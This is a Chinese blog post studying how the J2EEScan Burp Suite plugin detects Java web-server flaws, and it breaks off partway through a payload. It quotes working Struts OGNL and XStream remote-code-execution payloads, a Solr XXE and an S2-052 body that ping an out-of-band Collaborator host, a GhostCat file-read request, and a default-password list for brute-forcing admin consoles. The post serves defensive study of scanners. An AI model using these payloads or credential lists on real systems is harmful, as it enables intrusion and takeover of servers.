【BurpSuite】插件开发学习之J2EEScan - 汇总篇(主动+被动1-76)

前言

为了方便查阅,将下列文章合并

【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(21-30)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(31-40)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(41-50)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(51-60)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(61-76)

J2EEScan

https://github.com/PortSwigger/j2ee-scan.git
逻辑代码在

|____src
| |____main
| | |____java
| | | |____burp
| | | | |____HTTPMatcher.java
| | | | |____J2EELFIRetriever.java
| | | | |____SoftwareVersions.java
| | | | |____WeakPasswordBruteforcer.java
| | | | |____j2ee
| | | | | |____PassiveScanner.java
| | | | | |____Confidence.java
| | | | | |____annotation
| | | | | | |____RunOnlyOnce.java
| | | | | | |____RunOnlyOnceForApplicationContext.java
| | | | | |____Risk.java
| | | | | |____passive
| | | | | | |____SessionFixation.java
| | | | | | |____ApacheStrutsS2023Rule.java
| | | | | | |____JettyRule.java
| | | | | | |____HttpServerHeaderRule.java
| | | | | | |____SqlQueryRule.java
| | | | | | |____PassiveRule.java
| | | | | | |____strutstoken
| | | | | | | |____StrutsTokenCracker.java
| | | | | | | |____ReplayRandom.java
| | | | | | |____ApacheTomcatRule.java
| | | | | | |____SessionIDInURL.java
| | | | | | |____JSPostMessage.java
| | | | | | |____ExceptionRule.java
| | | | | |____IssuesHandler.java
| | | | | |____lib
| | | | | | |____TesterAjpMessage.java
| | | | | | |____SimpleAjpClient.java
| | | | | |____issues
| | | | | | |____impl
| | | | | | | |____OracleEBSSSRF.java
| | | | | | | |____OracleEBSSSRFLCMServiceController.java
| | | | | | | |____ApacheStrutsS2032.java
| | | | | | | |____NodeJSRedirect.java
| | | | | | | |____ApacheRollerOGNLInjection.java
| | | | | | | |____ApacheStrutsDebugMode.java
| | | | | | | |____ApacheAxis.java
| | | | | | | |____HTTPWeakPassword.java
| | | | | | | |____HTTPProxy.java
| | | | | | | |____PrimeFacesELInjection.java
| | | | | | | |____WeblogicUDDIExplorer.java
| | | | | | | |____ApacheStrutsS2052.java
| | | | | | | |____JBossWebConsole.java
| | | | | | | |____EL3Injection.java
| | | | | | | |____XXEParameterModule.java
| | | | | | | |____UndertowTraversal.java
| | | | | | | |____LFIModule.java
| | | | | | | |____ApacheStrutsS2043.java
| | | | | | | |____FastJsonRCE.java
| | | | | | | |____OracleReportService.java
| | | | | | | |____SnoopResource.java
| | | | | | | |____JBossJMXReadOnly.java
| | | | | | | |____WebInfInformationDisclosure.java
| | | | | | | |____XInclude.java
| | | | | | | |____JavaServerFacesTraversal.java
| | | | | | | |____Seam2RCE.java
| | | | | | | |____WeblogicConsole.java
| | | | | | | |____RESTAPISwagger.java
| | | | | | | |____JettyRemoteLeakage.java
| | | | | | | |____JBossJMXInvoker.java
| | | | | | | |____OASConfigFilesDisclosure.java
| | | | | | | |____JacksonDataBindCVE20177525.java
| | | | | | | |____XXEModule.java
| | | | | | | |____WeblogicCVE20192725.java
| | | | | | | |____WeblogicWebServiceTestPageCVE20182894.java
| | | | | | | |____JKStatus.java
| | | | | | | |____WeblogicCVE201710271.java
| | | | | | | |____LFIAbsoluteModule.java
| | | | | | | |____ApacheStrutsS2016.java
| | | | | | | |____ApacheStrutsShowcase.java
| | | | | | | |____ApacheStrutsWebConsole.java
| | | | | | | |____ApacheStrutsS2020.java
| | | | | | | |____StatusServlet.java
| | | | | | | |____UTF8ResponseSplitting.java
| | | | | | | |____TomcatHostManager.java
| | | | | | | |____SpringBootRestRCE.java
| | | | | | | |____PivotalSpringTraversalCVE20143625.java
| | | | | | | |____Htaccess.java
| | | | | | | |____JBossjBPMAdminConsole.java
| | | | | | | |____ELInjection.java
| | | | | | | |____NodeJSPathTraversal.java
| | | | | | | |____ApacheStrutsS2017.java
| | | | | | | |____ApacheSolrXXE.java
| | | | | | | |____OASSqlnetLogDisclosure.java
| | | | | | | |____NodeJSResponseSplitting.java
| | | | | | | |____URINormalizationTomcat.java
| | | | | | | |____JBossWS.java
| | | | | | | |____SpringCloudConfigPathTraversal.java
| | | | | | | |____InfrastructurePathTraversal.java
| | | | | | | |____AJPDetector.java
| | | | | | | |____JBossAdminConsole.java
| | | | | | | |____SSRFScanner.java
| | | | | | | |____SpringDataCommonRCE.java
| | | | | | | |____JavascriptSSRF.java
| | | | | | | |____ApacheWicketArbitraryResourceAccess.java
| | | | | | | |____SpringBootActuator.java
| | | | | | | |____IDocInjection.java
| | | | | | | |____TomcatManager.java
| | | | | | | |____NextFrameworkPathTraversal.java
| | | | | | | |____OracleCGIPrintEnv.java
| | | | | | | |____JBossJuddi.java
| | | | | | | |____AJP_Tomcat_GhostCat.java
| | | | | | | |____SpringWebFlowDataBindExpressionCVE20174971.java
| | | | | | |____IModule.java
| | | | | |____CustomScanIssue.java
| | | | |____J2EELocalAssessment.java
| | | | |____WeakPassword.java
| | | | |____HTTPParser.java
| | | | |____CustomHttpRequestResponse.java
| | | | |____BurpExtender.java

这个代码是基于java写的

BurpExtender

老样子,继承BurpExtender

class BurpExtender(IBurpExtender):

基本信息也和java差不多

public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) {// keep a reference to our callbacks objectthis.callbacks = callbacks;this.callbacks.registerExtensionStateListener(this);// obtain an extension helpers objecthelpers = callbacks.getHelpers();// obtain our output streamstdout = new PrintWriter(callbacks.getStdout(), true);stderr = new PrintWriter(callbacks.getStderr(), true);// set our extension namecallbacks.setExtensionName("J2EE Advanced Tests");

然后创建了一个临时数据库文件并连接了

j2eeDBState = File.createTempFile("burpsuite-j2eescan-state", ".db");stdout.println("Using temporary db state file: " + j2eeDBState.getAbsolutePath());stdout.println("This internal state is used to avoid duplicate infrastructure security "+ "checks on the same host, improving the scan performance");connectToDatabase(j2eeDBState.getAbsolutePath());

初始化的数据库表executed_plugins

String fields = "plugin, host, port";conn.createStatement().executeUpdate("CREATE TABLE IF NOT EXISTS executed_plugins ("+ " plugin TEXT PRIMARY KEY,"+ " host TEXT,"+ " port INTEGER,"+ " UNIQUE(" + fields + "))");

doPassiveScan

重写了被动扫描,在PassiveScanner这个类里。

PassiveScanner.scanVulnerabilities(baseRequestResponse, callbacks);

遍历如下规则进行扫描

static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),new ExceptionRule(),new HttpServerHeaderRule(),new SqlQueryRule(),new ApacheStrutsS2023Rule(),new JettyRule(),new SessionIDInURL(),new JSPostMessage(),new SessionFixation()};

一个一个看,

ApacheTomcatRule

【1】tomcat版本发现

Risk.Low

Pattern.compile("Apache Tomcat/([\\d\\.]+)"

【2】tomcat远程jvm虚拟机

Risk.Information

Pattern.compile("\"><small>(1\\.\\d\\.[\\w\\-\\_\\.]+)<"

ExceptionRule

【3】Apache Struts 测试页面

判断struts是开发环境还是dev环境
Risk.Low

"<title>Struts Problem Report</title>".getBytes();

【4】Apache Tapestry 异常错误展示

Risk.Low

            byte[] tapestryException = "<h1 class=\"t-exception-report\">An unexpected application exception has occurred.</h1>".getBytes();

【5】Grails 异常错误展示

Risk.Low

            byte[] grailsException = "<h1>Grails Runtime Exception</h1>".getBytes();

【6】GWT 异常错误展示

Risk.Low

            byte[] gwtException = "com.google.gwt.http.client.RequestException".getBytes();

【7】java 常见的应用异常错误展示

Risk.Low

List<byte[]> javaxServletExceptions = Arrays.asList("javax.servlet.ServletException".getBytes(),"οnclick=\"toggle('full exception chain stacktrace".getBytes(),"at org.apache.catalina".getBytes(),"at org.apache.coyote.".getBytes(),"at org.jboss.seam.".getBytes(),"at org.apache.tomcat.".getBytes(),"<title>JSP Processing Error</title>".getBytes(),  // WAS"The full stack trace of the root cause is available in".getBytes());"<pre><code>com.sun.facelets.FaceletException".getBytes(),"Generated by MyFaces - for information on disabling".getBytes(),"<title>Error - org.apache.myfaces".getBytes(),"org.primefaces.webapp".getBytes());

HttpServerHeaderRule

http 头泄露应用版本号

【8】Java&Jetty &GlassFish&Weblogic

Pattern.compile("java\\/([\\d\\.\\_]+)"
Pattern.compile("Jetty.([\\d\\.]+)"
Pattern.compile("GlassFish Server Open Source Edition ([\\d\\.]+)"
Pattern.compile("WebLogic (:?Server )?([\\d\\.]+)"

【10】 oracle

ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle Application Server Containers for J2EE 10g \\(([\\d\\.]+)\\)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle.Application.Server.10g\\/([\\d\\.]+)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle Application Server\\/([\\d\\.]+)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle9iAS\\/([\\d\\.]+)", Pattern.DOTALL));

【11】nodejs

if (xPoweredByHeader.trim().equals("Express")) {

SqlQueryRule

【12】SQL exception

SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));

ApacheStrutsS2023Rule

【13】StrutsTokenCracker

提取token

    private final Pattern TOKEN_FIELD_PATTERN = Pattern.compile("<input type=\"hidden\" name=\"token\" value=\"([^\"]+)\"");

转int,按固定长度切割

 int[] tokenInts = bytesToInt(bigIntToByte(token));

根据int找到seed

        long seed = findSeed(reverseByteOrder(tokenInts[1]), reverseByteOrder(tokenInts[2]));

根据种子预测随机数,和就token匹配,如果能匹配上,说明种子是对的,也就是说明token可预测。

int[] nextInts = new int[4];for(int i=0;i<nextInts.length;i++) {nextInts[i] = reverseByteOrder(random.nextInt());}boolean match1 = tokenInts[2] == nextInts[0];boolean match2 = tokenInts[3] == nextInts[1];boolean match3 = tokenInts[4] == nextInts[2];

JettyRule

【14】Jetty发现

    private static final Pattern JETTY_PATTERN = Pattern.compile("><small>Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE);

SessionIDInURL

【15】Session Token in URL

    private static final List<String> SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid"));

JSPostMessage

【16】JSPostMessage函数

js的跨域信息通信的函数。

POSTMESSAGE_PATTERNS.add(Pattern.compile(".addEventListener\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile("window\\).on\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile(".postMessage\\(", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));

SessionFixation

【17】session fixation attack(固定会话攻击)

先检查url,这个检查很粗糙,直接判断后缀,还是黑名单,没有后缀就默认通过

isJavaApplicationByURL(curURL)

然后条件是请求包有JSESSIONID且返回包含有账号等信息

if (requestCookie != null && requestCookie.contains("JSESSIONID")) {String reqBodyLowercase = reqBody.toLowerCase();if (reqBodyLowercase != null&& (reqBodyLowercase.contains("password") || reqBodyLowercase.contains("pwd") || reqBodyLowercase.contains("passw"))&& (reqBodyLowercase.contains("user") || reqBodyLowercase.contains("uid") || reqBodyLowercase.contains("mail"))) {

并且返回包没有setcookie(说明固定了会话),或者setcookie字段里包含JSESSIONID
这种校验比较粗糙,注释也说了

Due to the nature of the vulnerability, this check is prone to False Positives and must be manually confirmed

doActiveScan

直接从package里取class

j2eeTests = getClassNamesFromPackage("burp.j2ee.issues.impl.");

再取每个类里面的scan方法

for (Method m : j2eeModule.getClass().getMethods()) {
if (m.getName().equals("scan")) {

根据scan函数的注解

RunOnlyOnce annotationRunOnlyOnce = m.getAnnotation(RunOnlyOnce.class);
try {// log the plugin is executed oncepluginExecutedOnce(module, host, port);

记录下什么漏洞只需要攻击一次,写入数据库

public void pluginExecutedOnce(String pluginClass, String host, int port) throws SQLException {PreparedStatement stmt = conn.prepareStatement("INSERT INTO executed_plugins VALUES(?,?,?)");stmt.setString(1, pluginClass);stmt.setString(2, host);stmt.setInt(3, port);stmt.executeUpdate();}

否则就是所有的目标都可以scan
逻辑讲完了,现在可以看看具体的package里面有哪些漏洞了,一共73个,一个一个来
73个impl里面可能有好几种类型的漏洞,放在一篇里面比较重,所以每10个为一个单位,拆分发布吧。

【1】AJP Tomcat GhostCat(webapp目录文件读取) - CVE-2020-1938

  • RunOnlyOnce
  • https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp
  • 原理: https://zhuanlan.zhihu.com/p/137527937

先连接默认端口

ac.connect(host, DEFAULT_AJP_PORT);
int DEFAULT_AJP_PORT = 8009;

然后构造ajp请求包发送

TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");forwardMessage.addAttribute("javax.servlet.include.path_info", WEBINF_PATH);forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");forwardMessage.end();ac.sendMessage(forwardMessage);

其中比较关键的是参数:javax.servlet.include.path_info,value是

     List<String> WEBINF_PATHS = Arrays.asList("/" + contextPath + "/WEB-INF/web.xml","WEB-INF/web.xml");

然后根据ajp返回的rsp去匹配(包含关系):
也就是根绝我们读取的WEBINF_PATHS的内容。

    private static final byte[] GREP_STRING = "<web-app".getBytes();

如果存在则说明存在文件读取漏洞。

【2】AJPDetector

This module detects Apache JServ Protocol (AJP) services
实际上就是检测有没有开启的AJP

fuzz的port列表

    private static final int[] AJP13PORTS = {8080, 8102, 8081, 6800, 6802, 8009, 8109, 8209, 8309, 8888, 9999};

建立socket连接,发送心跳包,判断返回包

            String system = host.concat(Integer.toString(port));byte[] CPing = new byte[]{(byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a};if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) {

这个应该是可以和【1】结合,这里如果判断有心跳包,就直接测试文件包含。

【3】ApacheAxis

【3】HAPPY_AXIS_PATHS(Axis测试页面泄露)

先遍历PATH

    private static final List<String> HAPPY_AXIS_PATHS = Arrays.asList("/dswsbobje/happyaxis.jsp", // SAP BusinessObjects path"/dswsbobje//happyaxis.jsp", // SAP BusinessObjects path"/jboss-net/happyaxis.jsp", // JBoss"/jboss-net//happyaxis.jsp", // JBoss"/happyaxis.jsp","/axis2/axis2-web/HappyAxis.jsp","/axis2-web//HappyAxis.jsp","/axis//happyaxis.jsp","/axis2//axis2-web/HappyAxis.jsp","/wssgs/happyaxis.jsp", //JBuilder Apache Axis Admin Console"/tresearch/happyaxis.jsp");

然后根据返回包match

    private static final byte[] GREP_STRING_HAPPY_AXIS = "Happiness Page".getBytes();
【4】AXIS_PATHS(Axis管理后台泄露)

遍历

private static final List<String> AXIS_PATHS = Arrays.asList("/axis2/","/axis/","/dswsbobje/", // SAP BusinessObjects path"/jboss-net/", // JBoss"/tomcat/axis/","/wssgs/", //<h1>JBuilder Apache Axis Admin Console</h1> ..<title>Apache-Axis</title>"/tresearch/", // JBuilder Apache Axis Admin Console"/");

这些根目录加上admin目录请求

private static final String AXIS_ADMIN_PATH = "/axis2-admin/";

如果match到

    private static final byte[] GREP_STRING_AXIS_ADMIN = "<title>Login to Axis2 :: Administration".getBytes();

则找到管理后台

【5】weakpassword(Axis管理后台弱口令)

如果找到后台,还可以进行账号密码爆破
常见的密码

        credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "tomcat"));credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "manager"));credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "jboss"));credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "password"));credentials.add(new AbstractMap.SimpleEntry<>("tomcat", ""));credentials.add(new AbstractMap.SimpleEntry<>("both", "manager"));credentials.add(new AbstractMap.SimpleEntry<>("both", "tomcat"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "tomcat"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "manager"));credentials.add(new AbstractMap.SimpleEntry<>("manager", "manager"));credentials.add(new AbstractMap.SimpleEntry<>("manager", "tomcat"));credentials.add(new AbstractMap.SimpleEntry<>("role1", "role1"));credentials.add(new AbstractMap.SimpleEntry<>("role1", "tomcat"));credentials.add(new AbstractMap.SimpleEntry<>("role", "changethis"));credentials.add(new AbstractMap.SimpleEntry<>("root", "changethis"));credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "changethis"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "j5Brn9")); // Sun Solariscredentials.add(new AbstractMap.SimpleEntry<>("admin", "admin"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "root"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));credentials.add(new AbstractMap.SimpleEntry<>("admin", ""));credentials.add(new AbstractMap.SimpleEntry<>("admin", "1234"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "axis2"));credentials.add(new AbstractMap.SimpleEntry<>("test", "test"));credentials.add(new AbstractMap.SimpleEntry<>("monitor", "monitor"));credentials.add(new AbstractMap.SimpleEntry<>("guest", "guest"));credentials.add(new AbstractMap.SimpleEntry<>("root", ""));credentials.add(new AbstractMap.SimpleEntry<>("root", "root"));credentials.add(new AbstractMap.SimpleEntry<>("root", "admin"));credentials.add(new AbstractMap.SimpleEntry<>("root", "password"));credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic"));credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic1"));credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic01"));credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "welcome1"));credentials.add(new AbstractMap.SimpleEntry<>("admin", "security"));credentials.add(new AbstractMap.SimpleEntry<>("oracle", "oracle"));credentials.add(new AbstractMap.SimpleEntry<>("system", "security"));credentials.add(new AbstractMap.SimpleEntry<>("system", "password"));credentials.add(new AbstractMap.SimpleEntry<>("wlcsystem", "wlcsystem"));credentials.add(new AbstractMap.SimpleEntry<>("wlpisystem", "wlpisystem"));// Orbeon formscredentials.add(new AbstractMap.SimpleEntry<>("orbeonadmin", "xforms"));

再加上一个

    listOfPwd.add("axis2");

用户名就是爆破的admin

如果match到

    private static final byte[] GREP_STRING_AXIS_ADMIN_WEAK_PWD = "You are now logged into the Axis2 administration console".getBytes();

则认为是爆破成功

【6】AXIS_SERVICES_PATHS(Axis测试页面泄露)

和上面的AXIS_PATHS拼接

    private static final List<String> AXIS_SERVICES_PATHS = Arrays.asList("/services/listServices","/services/");

如果match到

   private static final List<byte[]> GREP_STRINGS_AXIS_SERVICE_PAGE = Arrays.asList("<title>Axis2: Services</title>".getBytes(),"<title>List Services</title>".getBytes());

则认为获取到了Service列表

【7】ApacheRollerOGNLInjection(表达式注入)-CVE-2013-4212

表达式注入

String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt);

攻击入口是登录页 url存在

if (curURL.getPath().contains("login.rol"))

去除所有参数

for (IParameter param : parameters) {rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);}

新增攻击参数

rawrequest = callbacks.getHelpers().addParameter(rawrequest,callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL));

如果从返回包中Match到上面的计算结果,则认为表达式注入成功。

【8】ApacheSolrXXE - CVE-2017-12629

payload

String xxesolr = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://%s/xxe\"><a></a>'}";

%s用burp自带的dnslog接口

        IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();String currentCollaboratorPayload = collaboratorContext.generatePayload(true);

发送请求

byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest);

match就看dns结果啦

【9】ApacheStrutsDebugMode(debug页面泄露)

先判断URL是不是java
很粗,前面文章已经讲过了。

List notJ2EETechs = new ArrayList<>();notJ2EETechs.add("php");notJ2EETechs.add("asp");notJ2EETechs.add("cgi");notJ2EETechs.add("pl");return (!notJ2EETechs.contains(curExtension));

老样子
去除所有入参

//Remove URI parametersfor (IParameter param : parameters) {rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);}

新增参数,debug=console

rawrequest = callbacks.getHelpers().addParameter(rawrequest,callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL));

如果返回包match

private static final byte[] GREP_STRING = "'OGNL Console'".getBytes();

则存在漏洞,表达式注入。
看着像后门
http://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/

【10】ApacheStrutsS2016(表达式注入)-(S2-016)

这里准备了两个payload

payloads.add("${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27id%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}");payloads.add("${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20ipconfig.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}");

一个是适配linux一个是windows
简单看看payload语法

${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c ipconfig.exe'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

对比看下正常java 调用java.lang.ProcessBuilder执行命令的实例

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;public class ProcessTest {public static void main(String args[]) {ProcessBuilder pb = new ProcessBuilder();pb.command(new String[] { cmd });try {Process process = pb.start();InputStream stdout = process.getInputStream();InputStreamReader isr = new InputStreamReader(stdout);BufferedReader br = new BufferedReader(isr);String line = null;while ( (line = br.readLine()) != null)System.out.println(line);int exitVal = process.waitFor();System.out.println(exitVal);} catch (IOException e) {e.printStackTrace();} catch (InterruptedException e) {e.printStackTrace();}}
}

实际也就是增加了一个httprsp的回显,比较清晰
上面的payload循环放到参数,如下参数都有可能存在漏洞

List<String> redirectMeth = new ArrayList();redirectMeth.add("action:");redirectMeth.add("redirect:");redirectMeth.add("redirectAction:");

因为我们的payload希望是长成这样

redirect:xxxxx

所以要做一个替换,这里是因为前面只需要remove所有其他参数,剩下的第一个等于号应该是我们加入的这个参数和payload中间。

String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();

如果match到

 static {DETECTION_REGEX.add(Pattern.compile("Subnet Mask", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));DETECTION_REGEX.add(Pattern.compile("uid=[0-9]+.*gid=[0-9]+.*", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));DETECTION_REGEX.add(Pattern.compile("java\\.lang\\.(UNIX)", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));}

subnet mask是网关的意思,匹配的是win
第三个没太理解,有可能是Win执行了linux的表达式抛出来的异常?

【11】ApacheStrutsS2017-S2-017

参数较016 少了redirect:

       redirectMeth.add("redirect:");redirectMeth.add("redirectAction:");

payload

       rawrequest = callbacks.getHelpers().addParameter(rawrequest,callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL));

这里竟然没有恶意参数,知识一个跳转
match返回的状态码和header头

  if (statusCode >= 300 && statusCode < 400) {if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {

看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html

【12】ApacheStrutsS2020 - S2-020

参数

modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",classLoaderStringTest, IParameter.PARAM_URL));

payload

long unixTime = System.currentTimeMillis() / 1000L;String classLoaderStringTest = "testClassloaderManipulation" + unixTime;

match返回包

    private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",

这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr

class.classLoader.resources.dirContext.docBase


这里有两种绕过姿势

  • class[‘classLoader’]
  • Class.classloader
    问题正则
(.*\.|^)class\..*  两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过

安全正则

(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

【13】ApacheStrutsS2032 - S2-032

老样子,去除所有参数

     byte[] rawrequest = baseRequestResponse.getRequest();//Remove URI parametersfor (IParameter param : parameters) {rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);}

入参

method:

payload

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString

展开看看

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString

第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
其中hook[0]是后面的参数

modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL));

match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。

private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",Pattern.DOTALL | Pattern.MULTILINE);

【14】ApacheStrutsS2043 - S2-043(Config Browser插件泄露)

遍历path

private static final List<String> BROWSER_PATHS = Arrays.asList("/config-browser/actionNames","/config-browser/actionNames.action");

请求之后match

private static final byte[] GREP_STRING = "<title>Actions in namespace</title>".getBytes();

【15】ApacheStrutsS2052-S2-052

首先判断了有没有content-type

        String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");

毕竟payload要靠xml传过去
增加content-type

        List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");

payload

String payload = " ping " + currentCollaboratorPayload;String xmlMarshallingBody= "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +"        <dataHandler>\n" +"          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +"            <is class=\"javax.crypto.CipherInputStream\">\n" +"              <cipher class=\"javax.crypto.NullCipher\">\n" +"                <initialized>false</initialized>\n" +"                <opmode>0</opmode>\n" +"                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +"                  <iter class=\"javax.imageio.spi.FilterIterator\">\n" +"                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +"                    <next class=\"java.lang.ProcessBuilder\">\n" +"                      <command>\n" +"                        <string>/bin/sh</string><string>-c </string><string>" + payload + "</string>\n" +"                      </command>\n" +"                      <redirectErrorStream>false</redirectErrorStream>\n" +"                    </next>\n" +"                  </iter>\n" +"                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +"                    <method>\n" +"                      <class>java.lang.ProcessBuilder</class>\n" +"                      <name>start</name>\n" +"                      <parameter-types/>\n" +"                    </method>\n" +"                    <name>foo</name>\n" +"                  </filter>\n" +"                  <next class=\"string\">foo</next>\n" +"                </serviceIterator>\n" +"                <lock/>\n" +"              </cipher>\n" +"              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +"              <ibuffer/>\n" +"              <done>false</done>\n" +"              <ostart>0</ostart>\n" +"              <ofinish>0</ofinish>\n" +"              <closed>false</closed>\n" +"            </is>\n" +"            <consumed>false</consumed>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +"  </entry>\n" +"  <entry>\n" +"    